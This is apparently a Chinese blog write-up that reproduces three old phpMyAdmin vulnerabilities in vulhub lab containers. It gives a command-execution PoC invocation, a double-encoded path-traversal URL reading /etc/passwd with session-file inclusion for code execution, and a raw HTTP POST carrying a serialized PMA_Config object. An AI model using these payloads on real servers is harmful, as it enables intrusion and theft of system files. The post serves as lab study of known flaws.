phpMyAdmin历史漏洞复现
简介
phpMyAdmin是一个非常受欢迎的基于web的MySQL数据库管理工具。它能够创建和删除数据库,创建/删除/修改表格,删除/编辑/新增字段,执行SQL脚本等
复现三个古老漏洞
phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace函数第一个参数中。
以下版本受到影响:
- 4.0.10.16之前4.0.x版本
- 4.4.15.7之前4.4.x版本
- 4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)
环境搭建
https://github.com/vulhub/vulhub/blob/master/phpmyadmin/CVE-2016-5734/
遇到的一点问题:
- 端口占用
Bind for 0.0.0.0:8080 failed: port is already allocated
容器占用的port还没有完全释放
停止相应的docker容器进程即可
- 搭建完启动后发现不能访问
原因是tcp6协议的问题

解决方法:
vim /usr/lib/sysctl.d/00-system.conf
添加: net.ipv4.ip_forward=1
再重启网络 systemctl restart network
(虽然还是tcp6,但能访问了)

发现root/root登录不进去emm
(搭建出错了)
要在yml文件同目录下传配置文件

这样搭建完成后root/root就登录进去了

利用
POC: https://www.exploit-db.com/exploits/40185
利用poc就可以执行远程命令了

py payload.py -u username -p password -c command [url]
phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
影响版本 phpMyAdmin 4.8.0和4.8.1
环境搭建 https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
(需要登陆后才能利用,有些鸡肋)
访问
http://your-ip:8080/index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd 可见/etc/passwd被读取,说明文件包含漏洞存在:

利用方式:
可以执行一下SELECT '<?=phpinfo()?>';

然后查看自己的sessionid(cookie中phpMyAdmin的值)

然后包含session文件,实现远程命令执行的效果

WooYun-2016-199433 反序列化
影响版本: phpmyadmin 2.x版本
危害 : 任意文件读取/远程代码执行
环境搭建 https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433
环境启动后,访问http://your-ip:8080,即可看到phpmyadmin的首页。因为没有连接数据库,所以此时会报错,但我们这个漏洞的利用与数据库无关,所以忽略。

抓包后 修改数据包为
POST /scripts/setup.php HTTP/1.1
Host: 192.168.230.131:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

可以看到读取了passwd文件
phpMyAdmin历史漏洞复现的更多相关文章
- Solr-rce历史漏洞复现
最近Solr又出了一个RCE漏洞,复现了一下 # coding: utf-8 import requestsimport argparsefrom urllib import parse if __n ...
- Spring 历史漏洞复现
1.Spring Security OAuth2.0 (CVE-2016-4977) 这个洞是由于Spring Security OAuth2.0的功能,在登录成功之后由于response_type不 ...
- Typecho反序列化导致前台 getshell 漏洞复现
Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...
- PhpStudy2018后门漏洞预警及漏洞复现&检测和执行POC脚本
PhpStudy2018后门漏洞预警及漏洞复现&检测和执行POC脚本 phpstudy介绍 Phpstudy是国内的一款免费的PHP调试环境的程序集成包,其通过集成Apache.PHP.MyS ...
- CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现
CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现 参考文章1 参考文章2 By:Mirror王宇阳 漏洞原理 攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞. ...
- Joomla框架搭建&远程代码执行(RCE)漏洞复现
一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.8,官网: https://downloads.joomla.org/,漏洞位于根 ...
- phpMyAdmin 跨站脚本漏洞
漏洞名称: phpMyAdmin 跨站脚本漏洞 CNNVD编号: CNNVD-201307-647 发布时间: 2013-08-09 更新时间: 2013-08-09 危害等级: 低危 漏洞类型: ...
- ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程
没有时间测试呢,朋友们都成功复现,放上网盘地址:https://github.com/x0rz/EQGRP 近日臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit. ...
- 【S2-052】漏洞复现(CVE-2017-9805)
一.漏洞描述 Struts2 的REST插件,如果带有XStream组件,那么在进行反序列化XML请求时,存在未对数据内容进行有效验证的安全隐患,可能发生远程命令执行. 二.受影响版本 Struts2 ...
随机推荐
- 梳理搭建SSM步骤
以上全程手撕,如有不足或错误的,请指正!
- 面试官:你精通多少种语言的 Hello World?
Hello World,是程序员入门编程语言的第一课.不论是C.C++还是Java ,我们写的第一个程序就是它了,还记得小编在大一C语言课上,花了一整节课时间才把它打印到控制台上.万事开头难啊,相信看 ...
- 学习Java的Day02
知识点 数组: 一维数组 声明: 类型[] 数组名;([] 在前后没有影响,一般写在名称前.) 创建数组 数组名 = new 类型[数组长度]. 数组索引从0开始.获取数组长度:数组名.len ...
- Tomcat的介绍
Tomcat简介 Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选. 支持Se ...
- Django---进阶4
目录 CBV源码剖析 模版语法传值 过滤器(过滤器只能最多有两个参数) 标签 自定义过滤器.标签.inclusion_tag 模版的继承 模版的导入 作业 CBV源码剖析 # 你自己不要修改源码 除了 ...
- JVM 专题八:运行时数据区(三)虚拟机栈
2.虚拟机栈 1. 概述 1.1 虚拟机栈出现背景 由于跨平台性的设计,java的指令都是根据栈来设计的.不同平台CPU架构不同,所以不能设计为基于寄存器的. 优点是跨平台,指令集小,编译器容易实现, ...
- java 基本语法(二) 变量的使用(重点)
1.变量的分类1.1 按数据类型分类 详细说明://1. 整型:byte(1字节=8bit) \ short(2字节) \ int(4字节) \ long(8字节) //① byte范围:-128 ~ ...
- hihoCoder 1052 基因工程 最详细的解题报告
题目来源:基因工程 解题思路:假设基因序列长度为N,则需要计算基因序列前K个和后K个相同所需要的最少改变次数sum. 假设基因序列为 ATACGTCT (即M=8),K=6:interval=M-K= ...
- JavaScript 基础 学习 (一)
JavaScript 基础 学习 获取页面中的元素的方法 作用:通过各种方式获取页面中的元素 比如:id,类名,标签名,选择器 的方式来获取元素 伪数组: 长的和数组差不多,也是按照索引排 ...
- 简易防止U盘中毒
1.将U盘插入电脑,打开u盘 2.在U盘里面新建一个文本文档,将文本文档重命名autorun.inf保存完成. 3.为了防止误删次文件可以将属性设为影藏,就完成了.